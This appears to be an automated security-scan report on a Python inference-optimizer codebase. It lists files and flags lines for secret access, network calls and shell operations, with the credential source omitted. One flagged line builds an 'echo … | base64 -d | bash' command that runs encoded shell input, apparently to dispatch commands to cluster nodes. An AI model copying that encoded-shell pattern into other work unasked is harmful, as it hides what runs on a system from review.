[Credential-related source omitted] - Access to secretsline 171
[Credential-related source omitted] - Access to secretsline 177
[Credential-related source omitted] - Access to secretsline 832
[Credential-related source omitted] - Access to secretsline 833
[Credential-related source omitted] - Access to secretsline 840
[Credential-related source omitted] - Access to secretsline 857
[Credential-related source omitted] - Access to secretsline 858
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Network accessline 1126
from http.client import HTTPException
src/hyperloom/inference_optimizer/cli/constraint_args.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/cli/credentials.py
- Executable scriptline 1
Executable file - Network accessline 23
_OFFICIAL_ANTHROPIC_BASE_URL = "https://api.anthropic.com" - Network accessline 24
_OFFICIAL_OPENAI_BASE_URL = "https://api.openai.com/v1" - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 71
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted] - Access to secretsline 138
[Credential-related source omitted] - Access to secretsline 145
[Credential-related source omitted] - Access to secretsline 165
[Credential-related source omitted] - Access to secretsline 166
[Credential-related source omitted] - Access to secretsline 170
[Credential-related source omitted] - Access to secretsline 175
[Credential-related source omitted] - Access to secretsline 181
[Credential-related source omitted] - Access to secretsline 182
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Access to secretsline 209
[Credential-related source omitted] - Access to secretsline 210
[Credential-related source omitted] - Access to secretsline 225
[Credential-related source omitted] - Access to secretsline 226
[Credential-related source omitted] - Access to secretsline 227
[Credential-related source omitted] - Access to secretsline 239
[Credential-related source omitted] - Access to secretsline 241
[Credential-related source omitted] - Access to secretsline 248
[Credential-related source omitted] - Access to secretsline 251
[Credential-related source omitted] - Access to secretsline 261
[Credential-related source omitted] - Access to secretsline 263
[Credential-related source omitted] - Access to secretsline 279
[Credential-related source omitted] - Access to secretsline 295
[Credential-related source omitted] - Access to secretsline 312
[Credential-related source omitted] - Access to secretsline 314
[Credential-related source omitted] - Access to secretsline 316
[Credential-related source omitted] - Access to secretsline 334
[Credential-related source omitted] - Access to secretsline 337
[Credential-related source omitted] - Access to secretsline 338
[Credential-related source omitted] - Access to secretsline 342
[Credential-related source omitted] - Access to secretsline 345
[Credential-related source omitted] - Network accessline 348
[Credential-related source omitted] - Network accessline 349
[Credential-related source omitted] - Network accessline 350
[Credential-related source omitted] - Access to secretsline 350
[Credential-related source omitted] - Network accessline 351
[Credential-related source omitted] - Network accessline 352
[Credential-related source omitted] - Access to secretsline 352
[Credential-related source omitted] - Network accessline 356
" Official provider keys may omit the matching *_BASE_URL.\n" " A dual-protocol gateway such as DeepSeek is exactly this shape:\n" " export ANTHROPIC_BASE_URL=https://api.deepseek.com/anthropic ANTHROPIC_API_K - Network accessline 357
[Credential-related source omitted] - Network accessline 358
[Credential-related source omitted] - Access to secretsline 358
[Credential-related source omitted] - Network accessline 359
[Credential-related source omitted] - Access to secretsline 359
[Credential-related source omitted] - Access to secretsline 364
[Credential-related source omitted] - Access to secretsline 365
[Credential-related source omitted]
src/hyperloom/inference_optimizer/cli/custom_specialist.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/cli/device_init.py
src/hyperloom/inference_optimizer/cli/executors.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/cli/framework_probe.py
src/hyperloom/inference_optimizer/cli/geak_binaries.py
src/hyperloom/inference_optimizer/cli/gpu_power_apply.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/cli/gpu_power_args.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/cli/ir3_probe.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/cli/kb.py
src/hyperloom/inference_optimizer/cli/launch_shape.py
- Executable scriptline 1
Executable file - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Access to secretsline 156
[Credential-related source omitted] - Access to secretsline 182
[Credential-related source omitted] - Access to secretsline 183
[Credential-related source omitted] - Access to secretsline 184
[Credential-related source omitted] - Access to secretsline 225
[Credential-related source omitted] - Access to secretsline 231
[Credential-related source omitted] - Access to secretsline 233
[Credential-related source omitted] - Access to secretsline 238
[Credential-related source omitted] - Access to secretsline 239
[Credential-related source omitted] - Access to secretsline 241
[Credential-related source omitted] - Access to secretsline 243
[Credential-related source omitted] - Access to secretsline 257
[Credential-related source omitted] - Access to secretsline 260
[Credential-related source omitted] - Access to secretsline 270
[Credential-related source omitted] - Access to secretsline 303
[Credential-related source omitted] - Access to secretsline 307
[Credential-related source omitted] - Access to secretsline 308
[Credential-related source omitted] - Access to secretsline 316
[Credential-related source omitted] - Access to secretsline 330
[Credential-related source omitted] - Access to secretsline 342
[Credential-related source omitted] - Access to secretsline 351
[Credential-related source omitted]
src/hyperloom/inference_optimizer/cli/lineup_banners.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/cli/model_catalog.py
- Executable scriptline 1
Executable file - Access to secretsline 34
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Network accessline 71
time.sleep(delay) try: resp = httpx.get( - Network accessline 72
try: resp = httpx.get( probe_url, - Network accessline 73
resp = httpx.get( - Access to secretsline 116
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted] - Access to secretsline 122
[Credential-related source omitted] - Access to secretsline 123
[Credential-related source omitted] - Access to secretsline 124
[Credential-related source omitted] - Access to secretsline 150
[Credential-related source omitted] - Access to secretsline 156
[Credential-related source omitted] - Access to secretsline 158
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted] - Access to secretsline 200
[Credential-related source omitted] - Access to secretsline 205
[Credential-related source omitted] - Access to secretsline 207
[Credential-related source omitted] - Access to secretsline 238
[Credential-related source omitted] - Access to secretsline 246
[Credential-related source omitted] - Access to secretsline 247
[Credential-related source omitted] - Access to secretsline 248
[Credential-related source omitted] - Access to secretsline 249
[Credential-related source omitted] - Access to secretsline 251
[Credential-related source omitted] - Access to secretsline 258
[Credential-related source omitted] - Access to secretsline 442
[Credential-related source omitted] - Access to secretsline 444
[Credential-related source omitted] - Access to secretsline 448
[Credential-related source omitted] - Access to secretsline 449
[Credential-related source omitted] - Access to secretsline 485
[Credential-related source omitted]
src/hyperloom/inference_optimizer/cli/model_gate.py
- Executable scriptline 1
Executable file - Access to secretsline 260
[Credential-related source omitted] - Access to secretsline 1104
[Credential-related source omitted] - Access to secretsline 1105
[Credential-related source omitted] - Access to secretsline 1276
[Credential-related source omitted] - Access to secretsline 1544
[Credential-related source omitted]
src/hyperloom/inference_optimizer/cli/multi_node.py
src/hyperloom/inference_optimizer/cli/optimize_args.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/cli/parser.py
- Executable scriptline 1
Executable file - Access to secretsline 130
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted] - Access to secretsline 144
[Credential-related source omitted] - Access to secretsline 145
[Credential-related source omitted] - Network accessline 424
"$SESSION_DIR/target_analysis/target_baseline.json + a short " "MD report. When this flag is set, the JSON carries the " "matching InferenceX (https://inferencex.semianalysis.com) " - Network accessline 425
"MD report. When this flag is set, the JSON carries the " "matching InferenceX (https://inferencex.semianalysis.com) " "reference data point; when unset, the JSON carries a " - Network accessline 426
"matching InferenceX (https://inferencex.semianalysis.com) "
src/hyperloom/inference_optimizer/cli/preflight.py
- Executable scriptline 1
Executable file - Access to secretsline 94
[Credential-related source omitted] - Access to secretsline 95
[Credential-related source omitted] - Access to secretsline 102
[Credential-related source omitted] - Access to secretsline 107
[Credential-related source omitted] - Access to secretsline 109
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted] - Access to secretsline 185
[Credential-related source omitted] - Access to secretsline 267
[Credential-related source omitted] - Access to secretsline 344
[Credential-related source omitted] - Access to secretsline 349
[Credential-related source omitted] - Access to secretsline 352
[Credential-related source omitted] - Access to secretsline 384
[Credential-related source omitted] - Access to secretsline 385
[Credential-related source omitted] - Network accessline 425
_LM_EVAL_PINNED_SPECS = ( ("git", f"lm_eval[api] @ git+https://{_LM_EVAL_REPO}.git@{_LM_EVAL_PINNED_REF}"), - Network accessline 426
("git", f"lm_eval[api] @ git+https://{_LM_EVAL_REPO}.git@{_LM_EVAL_PINNED_REF}"), - Network accessline 427
("archive", f"lm_eval[api] @ https://{_LM_EVAL_REPO}/archive/{_LM_EVAL_PINNED_REF}.tar.gz"), - Access to secretsline 655
[Credential-related source omitted] - Access to secretsline 658
[Credential-related source omitted] - Access to secretsline 661
[Credential-related source omitted] - Access to secretsline 664
[Credential-related source omitted] - Access to secretsline 689
[Credential-related source omitted] - Access to secretsline 743
[Credential-related source omitted] - Access to secretsline 828
[Credential-related source omitted] - Access to secretsline 836
[Credential-related source omitted] - Access to secretsline 896
[Credential-related source omitted] - Access to secretsline 900
[Credential-related source omitted] - Access to secretsline 923
[Credential-related source omitted] - Dangerous shell operationline 945
'abort with "Unknown parameter: --concurrent-requests"; eval ' - Access to secretsline 1139
[Credential-related source omitted] - Access to secretsline 1178
[Credential-related source omitted] - Access to secretsline 1180
[Credential-related source omitted] - Access to secretsline 1187
[Credential-related source omitted] - Access to secretsline 1189
[Credential-related source omitted] - Access to secretsline 1194
[Credential-related source omitted] - Access to secretsline 1195
[Credential-related source omitted] - Access to secretsline 1196
[Credential-related source omitted] - Access to secretsline 1212
[Credential-related source omitted] - Access to secretsline 1217
[Credential-related source omitted] - Access to secretsline 1225
[Credential-related source omitted] - Access to secretsline 1226
[Credential-related source omitted] - Access to secretsline 1227
[Credential-related source omitted] - Access to secretsline 1246
[Credential-related source omitted] - Network accessline 1248
check = subprocess.run([magpie_python, str(checker), magpie_ref], capture_output=True) if check.returncode != 0 and not os.environ.get("MAGPIE_PATH"): magpie_repo = os.environ.get("MAGPIE_REPO", "https://github.c - Network accessline 1249
[Credential-related source omitted] - Access to secretsline 1249
[Credential-related source omitted] - Network accessline 1250
[Credential-related source omitted] - Access to secretsline 1250
[Credential-related source omitted] - Access to secretsline 1251
[Credential-related source omitted] - Access to secretsline 1258
[Credential-related source omitted] - Access to secretsline 1270
[Credential-related source omitted] - Access to secretsline 1309
[Credential-related source omitted] - Access to secretsline 1314
[Credential-related source omitted] - Access to secretsline 1339
[Credential-related source omitted] - Access to secretsline 1359
[Credential-related source omitted] - Access to secretsline 1381
[Credential-related source omitted] - Access to secretsline 1382
[Credential-related source omitted] - Access to secretsline 1493
[Credential-related source omitted] - Access to secretsline 1495
[Credential-related source omitted] - Access to secretsline 1510
[Credential-related source omitted] - Access to secretsline 1518
[Credential-related source omitted] - Access to secretsline 1721
[Credential-related source omitted]
src/hyperloom/inference_optimizer/cli/preflight_env.py
- Executable scriptline 1
Executable file - Access to secretsline 34
[Credential-related source omitted] - Access to secretsline 40
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 57
[Credential-related source omitted] - Access to secretsline 69
[Credential-related source omitted] - Access to secretsline 78
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 83
[Credential-related source omitted] - Access to secretsline 93
[Credential-related source omitted] - Access to secretsline 94
[Credential-related source omitted] - Access to secretsline 98
[Credential-related source omitted] - Access to secretsline 106
[Credential-related source omitted] - Access to secretsline 108
[Credential-related source omitted] - Access to secretsline 136
[Credential-related source omitted] - Access to secretsline 138
[Credential-related source omitted] - Access to secretsline 156
[Credential-related source omitted] - Access to secretsline 157
[Credential-related source omitted] - Access to secretsline 164
[Credential-related source omitted] - Access to secretsline 166
[Credential-related source omitted] - Access to secretsline 167
[Credential-related source omitted] - Access to secretsline 170
[Credential-related source omitted] - Access to secretsline 172
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted] - Access to secretsline 200
[Credential-related source omitted] - Access to secretsline 216
[Credential-related source omitted] - Access to secretsline 221
[Credential-related source omitted] - Access to secretsline 261
[Credential-related source omitted] - Access to secretsline 264
[Credential-related source omitted] - Access to secretsline 270
[Credential-related source omitted] - Access to secretsline 271
[Credential-related source omitted] - Access to secretsline 275
[Credential-related source omitted] - Access to secretsline 279
[Credential-related source omitted] - Access to secretsline 338
[Credential-related source omitted] - Access to secretsline 347
[Credential-related source omitted] - Access to secretsline 365
[Credential-related source omitted] - Access to secretsline 367
[Credential-related source omitted] - Access to secretsline 368
[Credential-related source omitted]
src/hyperloom/inference_optimizer/cli/quantization.py
src/hyperloom/inference_optimizer/cli/recover.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/cli/server_args.py
src/hyperloom/inference_optimizer/cli/session_target.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/cli/stack_dump.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/experience_collect.py
src/hyperloom/inference_optimizer/experience_kb.py
src/hyperloom/inference_optimizer/experience_kb_service.py
- Executable scriptline 1
Executable file - Access to secretsline 64
[Credential-related source omitted] - Network accessline 74
def _port_is_free(port: int) -> bool: with socket.socket() as probe: - Network accessline 75
with socket.socket() as probe: - Network accessline 91
port = LOCAL_PORTS[(start + offset) % len(LOCAL_PORTS)] if _port_is_free(port): return f"http://127.0.0.1:{port}" - Network accessline 92
if _port_is_free(port): return f"http://127.0.0.1:{port}" raise LocalServiceError(f"no free port in {LOCAL_PORTS.start}-{LOCAL_PORTS.stop - 1} for the Experience service") - Network accessline 93
return f"http://127.0.0.1:{port}" - Access to secretsline 134
[Credential-related source omitted] - Access to secretsline 160
[Credential-related source omitted] - Access to secretsline 175
[Credential-related source omitted] - Access to secretsline 214
[Credential-related source omitted] - Access to secretsline 257
[Credential-related source omitted]
src/hyperloom/inference_optimizer/framework_paths.py
- Executable scriptline 1
Executable file - Access to secretsline 114
[Credential-related source omitted] - Access to secretsline 139
[Credential-related source omitted] - Access to secretsline 279
[Credential-related source omitted] - Access to secretsline 287
[Credential-related source omitted] - Access to secretsline 356
[Credential-related source omitted] - Access to secretsline 368
[Credential-related source omitted] - Access to secretsline 406
[Credential-related source omitted] - Access to secretsline 428
[Credential-related source omitted] - Access to secretsline 449
[Credential-related source omitted] - Access to secretsline 452
[Credential-related source omitted] - Access to secretsline 579
[Credential-related source omitted]
src/hyperloom/inference_optimizer/framework_registry.py
- Executable scriptline 1
Executable file - Network accessline 34
kind=SERVING, extra_args_env="EXTRA_SGLANG_ARGS", repo_url="https://github.com/sgl-project/sglang.git", - Network accessline 35
extra_args_env="EXTRA_SGLANG_ARGS", repo_url="https://github.com/sgl-project/sglang.git", python_package="sglang", - Network accessline 36
repo_url="https://github.com/sgl-project/sglang.git", - Network accessline 43
kind=SERVING, extra_args_env="EXTRA_VLLM_ARGS", repo_url="https://github.com/ROCm/vllm.git", - Network accessline 44
extra_args_env="EXTRA_VLLM_ARGS", repo_url="https://github.com/ROCm/vllm.git", python_package="vllm", - Network accessline 45
repo_url="https://github.com/ROCm/vllm.git", - Network accessline 52
kind=SERVING, extra_args_env="EXTRA_ATOM_ARGS", repo_url="https://github.com/ROCm/ATOM.git", - Network accessline 53
extra_args_env="EXTRA_ATOM_ARGS", repo_url="https://github.com/ROCm/ATOM.git", python_package="atom", - Network accessline 54
repo_url="https://github.com/ROCm/ATOM.git", - Network accessline 61
kind=SCRIPTABLE, extra_args_env="EXTRA_XDIT_ARGS", repo_url="https://github.com/xdit-project/xDiT.git", - Network accessline 62
extra_args_env="EXTRA_XDIT_ARGS", repo_url="https://github.com/xdit-project/xDiT.git", python_package="xfuser", - Network accessline 63
repo_url="https://github.com/xdit-project/xDiT.git",
src/hyperloom/inference_optimizer/gpu_types.py
src/hyperloom/inference_optimizer/grading.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/grid_server_args.py
src/hyperloom/inference_optimizer/inferencex_checkout.py
- Executable scriptline 1
Executable file - Network accessline 18
DEFAULT_REPO = "https://github.com/SemiAnalysisAI/InferenceX.git" - Access to secretsline 57
[Credential-related source omitted] - Access to secretsline 88
[Credential-related source omitted] - Access to secretsline 89
[Credential-related source omitted] - Access to secretsline 133
[Credential-related source omitted]
src/hyperloom/inference_optimizer/model_config_utils.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/multi_node/SKILL.md
- Access to secretsline 127
[Credential-related source omitted]
src/hyperloom/inference_optimizer/multi_node/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/multi_node/_internal/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/multi_node/_internal/env_safety.py
src/hyperloom/inference_optimizer/multi_node/_internal/external_state.py
- Executable scriptline 1
Executable file - Access to secretsline 159
[Credential-related source omitted] - Network accessline 253
if head_ip and ".svc.cluster.local" in service_url: matched = re.search(r":(\d+)$", service_url) return f"http://{head_ip}:{matched.group(1) if matched else _DEFAULT_FRONTEND_PORT}" - Network accessline 254
matched = re.search(r":(\d+)$", service_url) return f"http://{head_ip}:{matched.group(1) if matched else _DEFAULT_FRONTEND_PORT}" return service_url - Network accessline 255
return f"http://{head_ip}:{matched.group(1) if matched else _DEFAULT_FRONTEND_PORT}"
src/hyperloom/inference_optimizer/multi_node/_internal/gpu_probe.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/multi_node/_internal/infera_support.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/multi_node/_internal/log.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/multi_node/_internal/ray_dashboard.py
- Executable scriptline 1
Executable file - Network accessline 20
_HTTPX_TIMEOUT = httpx.Timeout(connect=10.0, read=30.0, write=30.0, pool=30.0) - Dangerous shell operationline 28
return f"echo {encoded} | base64 -d | bash" - Network accessline 45
if not head_pod_ip: raise ValueError("head_pod_ip is empty; cannot build Ray Dashboard URL") return f"http://{head_pod_ip}:{RAY_DASHBOARD_PORT}" - Network accessline 47
return f"http://{head_pod_ip}:{RAY_DASHBOARD_PORT}" - Network accessline 58
if tok: headers["Authorization"] = f"Bearer {tok}" self._client = httpx.Client( - Network accessline 59
headers["Authorization"] = f"Bearer {tok}" self._client = httpx.Client( timeout=_HTTPX_TIMEOUT, - Network accessline 60
self._client = httpx.Client(
src/hyperloom/inference_optimizer/multi_node/_internal/server_args_safety.py
src/hyperloom/inference_optimizer/multi_node/_internal/serving_probe.py
src/hyperloom/inference_optimizer/multi_node/_internal/ssh_client.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/multi_node/_internal/ssh_known_hosts.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/multi_node/_internal/topology_file.py
- Executable scriptline 1
Executable file - Access to secretsline 217
[Credential-related source omitted] - Access to secretsline 218
[Credential-related source omitted] - Access to secretsline 236
[Credential-related source omitted] - Access to secretsline 252
[Credential-related source omitted] - Access to secretsline 255
[Credential-related source omitted] - Access to secretsline 256
[Credential-related source omitted] - Access to secretsline 257
[Credential-related source omitted]
src/hyperloom/inference_optimizer/multi_node/cli.py
- Executable scriptline 1
Executable file - Access to secretsline 102
[Credential-related source omitted] - Access to secretsline 116
[Credential-related source omitted] - Network accessline 241
attempt += 1 try: obj, summary = fetch() - Network accessline 242
try: obj, summary = fetch() except (httpx.HTTPError, httpx.InvalidURL, ray_dashboard.RayDashboardError, ValueError, AttributeError) as exc: - Network accessline 243
obj, summary = fetch() - Access to secretsline 562
[Credential-related source omitted] - Access to secretsline 740
[Credential-related source omitted] - Access to secretsline 753
[Credential-related source omitted] - Access to secretsline 962
[Credential-related source omitted] - Access to secretsline 1004
[Credential-related source omitted] - Access to secretsline 1081
[Credential-related source omitted]
src/hyperloom/inference_optimizer/multi_node/commands/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/multi_node/commands/infera.py
- Executable scriptline 1
Executable file - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 75
[Credential-related source omitted] - Access to secretsline 79
[Credential-related source omitted] - Access to secretsline 89
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Access to secretsline 410
[Credential-related source omitted] - Access to secretsline 527
[Credential-related source omitted] - Access to secretsline 547
[Credential-related source omitted] - Access to secretsline 737
[Credential-related source omitted] - Access to secretsline 740
[Credential-related source omitted] - Access to secretsline 743
[Credential-related source omitted]
src/hyperloom/inference_optimizer/multi_node/restart_pd_args.py
src/hyperloom/inference_optimizer/multi_node/scripts/apply_tracelens_patch_multinode.py
src/hyperloom/inference_optimizer/multi_node/scripts/bootstrap.sh
- Executable scriptline 1
#!/usr/bin/env bash
src/hyperloom/inference_optimizer/multi_node/scripts/install_geak_node.sh
- Executable scriptline 1
#!/usr/bin/env bash
src/hyperloom/inference_optimizer/multi_node/scripts/kernel_node_ops.py
- Executable scriptline 1
#!/usr/bin/env python3
src/hyperloom/inference_optimizer/multi_node/scripts/kernel_patch_multinode.py
- Executable scriptline 1
#!/usr/bin/env python3
src/hyperloom/inference_optimizer/multi_node/scripts/kill_multinode.py
src/hyperloom/inference_optimizer/multi_node/scripts/kill_server.sh
src/hyperloom/inference_optimizer/multi_node/scripts/launch_infera_node.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 69
[Credential-related source omitted] - Network accessline 101
try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - Network accessline 102
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - Access to secretsline 228
[Credential-related source omitted] - Access to secretsline 448
[Credential-related source omitted] - Access to secretsline 548
[Credential-related source omitted]
src/hyperloom/inference_optimizer/multi_node/scripts/launch_multinode.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 53
[Credential-related source omitted] - Access to secretsline 55
[Credential-related source omitted] - Access to secretsline 244
[Credential-related source omitted] - Access to secretsline 337
[Credential-related source omitted] - Network accessline 471
while time.monotonic() - started < timeout_s: try: with urllib.request.urlopen( - Network accessline 472
try: with urllib.request.urlopen( f"http://127.0.0.1:{_INFERENCE_PORT}/health", - Network accessline 473
with urllib.request.urlopen( - Network accessline 474
f"http://127.0.0.1:{_INFERENCE_PORT}/health", - Network accessline 508
try: with urllib.request.urlopen( # nosec B310 - http URL built from this driver's own summary. - Network accessline 509
with urllib.request.urlopen( # nosec B310 - http URL built from this driver's own summary. - Access to secretsline 665
[Credential-related source omitted] - Access to secretsline 733
[Credential-related source omitted] - Network accessline 1011
summary["pd_ib_device"] = plan.ib_device summary["pd_bootstrap_port"] = args.pd_bootstrap_port summary["pd_prefill_url"] = f"http://{heads.prefill_head_ip}:{_PD_PREFILL_PORT}" - Network accessline 1012
summary["pd_bootstrap_port"] = args.pd_bootstrap_port summary["pd_prefill_url"] = f"http://{heads.prefill_head_ip}:{_PD_PREFILL_PORT}" summary["pd_decode_url"] = f"http://{heads.decode_head_ip}:{_PD_DECODE_PORT}" - Network accessline 1013
summary["pd_prefill_url"] = f"http://{heads.prefill_head_ip}:{_PD_PREFILL_PORT}" - Network accessline 1014
summary["pd_decode_url"] = f"http://{heads.decode_head_ip}:{_PD_DECODE_PORT}"
src/hyperloom/inference_optimizer/multi_node/scripts/launch_router.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 95
deadline = time.monotonic() + max(0.0, timeout_s) while True: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 96
while True: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: - Network accessline 97
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Access to secretsline 173
[Credential-related source omitted] - Network accessline 224
help="picks router implementation: sglang_router vs vllm proxy", ) p.add_argument("--prefill-url", required=True, help="internal prefill HTTP endpoint, e.g. http://10.0.0.1:30000") - Network accessline 225
) p.add_argument("--prefill-url", required=True, help="internal prefill HTTP endpoint, e.g. http://10.0.0.1:30000") p.add_argument("--decode-url", required=True, help="internal decode HTTP endpoint, e.g. http://10.0.0.2:30001") - Network accessline 226
p.add_argument("--prefill-url", required=True, help="internal prefill HTTP endpoint, e.g. http://10.0.0.1:30000") - Network accessline 227
p.add_argument("--decode-url", required=True, help="internal decode HTTP endpoint, e.g. http://10.0.0.2:30001") - Network accessline 259
"framework": fw, "router_pid": pid, "router_url": f"http://0.0.0.0:{_PUBLIC_PORT}", - Network accessline 260
"router_pid": pid, "router_url": f"http://0.0.0.0:{_PUBLIC_PORT}", "prefill_url": args.prefill_url, - Network accessline 261
"router_url": f"http://0.0.0.0:{_PUBLIC_PORT}",
src/hyperloom/inference_optimizer/multi_node/scripts/launch_server.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 18
# PID_FILE where to write the new server pid (consumed by kill_server.sh next time) # LOG_FILE where to redirect server stdout+stderr # --wait-health poll http://127.0.0.1:8888/health up to 60s before returning success - Network accessline 19
# LOG_FILE where to redirect server stdout+stderr # --wait-health poll http://127.0.0.1:8888/health up to 60s before returning success (default) # --no-wait-health exit immediately after launching (use when you'll poll / - Network accessline 20
# --wait-health poll http://127.0.0.1:8888/health up to 60s before returning success (default) - Network accessline 107
for i in $(seq 1 12); do sleep 5 if curl -sf "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then - Network accessline 108
sleep 5 if curl -sf "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then echo "launch_server.sh: health OK after ${i} probes" - Network accessline 109
if curl -sf "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
src/hyperloom/inference_optimizer/multi_node/scripts/patch_path_safety.py
src/hyperloom/inference_optimizer/multi_node/scripts/sglang_shape_gate.py
src/hyperloom/inference_optimizer/multi_node/state_paths.py
src/hyperloom/inference_optimizer/protocol/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/protocol/action_surfaces.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/protocol/intent.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/recipe_snapshot_constants.py
src/hyperloom/inference_optimizer/reference_script.py
src/hyperloom/inference_optimizer/references/cache.md
src/hyperloom/inference_optimizer/references/critic.md
- Access to secretsline 23
[Credential-related source omitted]
src/hyperloom/inference_optimizer/references/frameworks.md
- Network accessline 52
`*.pt.trace.json.gz` unchanged. atom source roots (`/app/ATOM/atom/`) are in PolicyGate's allowlist + `_REUSABLE_SOURCE_ROOTS`, and the repo URL `https://github.com/ROCm/ATOM.git` is atom's `FrameworkSpec.repo_url` in `framework_registry`. - Network accessline 53
PolicyGate's allowlist + `_REUSABLE_SOURCE_ROOTS`, and the repo URL `https://github.com/ROCm/ATOM.git` is atom's `FrameworkSpec.repo_url` in `framework_registry`. Unlike sglang/vllm, atom ships a programmatic cold-start seed grid - Network accessline 54
`https://github.com/ROCm/ATOM.git` is atom's `FrameworkSpec.repo_url` in `framework_registry`. Unlike
src/hyperloom/inference_optimizer/references/operations.md
- Access to secretsline 9
[Credential-related source omitted] - Network accessline 82
Do not manually pip-install SDKs, start Ray, or `curl /v1/models` unless debugging a failed preflight. `_preflight()` and - Network accessline 83
`curl /v1/models` unless debugging a failed preflight. `_preflight()` and - Dangerous shell operationline 196
rm -f "$PID_FILE"
src/hyperloom/inference_optimizer/references/troubleshooting.md
- Access to secretsline 7
[Credential-related source omitted] - Network accessline 11
[Credential-related source omitted] - Access to secretsline 11
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Network accessline 63
|---|---| | `--claude-model=... is not allowed` | You likely set `INFERENCE_OPTIMIZER_ALLOW_CUSTOM_ORCH_MODEL=0`; unset it or set it to `1`, then ensure the model appears in the gateway `/models` catalog. | | `gateway catalog unreachable af - Network accessline 65
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted]
src/hyperloom/inference_optimizer/roofline_ceiling.py
src/hyperloom/inference_optimizer/roofline_snapshot.py
src/hyperloom/inference_optimizer/runtime_environment.py
src/hyperloom/inference_optimizer/session/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/session/coordinator_db.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/session/geak_rebench_verdict.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/session/lock.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/session/manifest.py
- Executable scriptline 1
Executable file - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 95
[Credential-related source omitted] - Access to secretsline 145
[Credential-related source omitted] - Access to secretsline 164
[Credential-related source omitted] - Access to secretsline 165
[Credential-related source omitted] - Access to secretsline 168
[Credential-related source omitted] - Access to secretsline 183
[Credential-related source omitted] - Access to secretsline 187
[Credential-related source omitted] - Access to secretsline 188
[Credential-related source omitted]
src/hyperloom/inference_optimizer/session/optimization_journal.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/session/paths.py
- Executable scriptline 1
Executable file - Access to secretsline 93
[Credential-related source omitted] - Access to secretsline 124
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Access to secretsline 200
[Credential-related source omitted] - Access to secretsline 211
[Credential-related source omitted] - Access to secretsline 241
[Credential-related source omitted] - Access to secretsline 244
[Credential-related source omitted] - Access to secretsline 259
[Credential-related source omitted]
src/hyperloom/inference_optimizer/session/resume_guard.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/session/sbd_v6.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/session/session_binding.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/session/session_paths.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/setup.py
- Executable scriptline 1
Executable file - Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 45
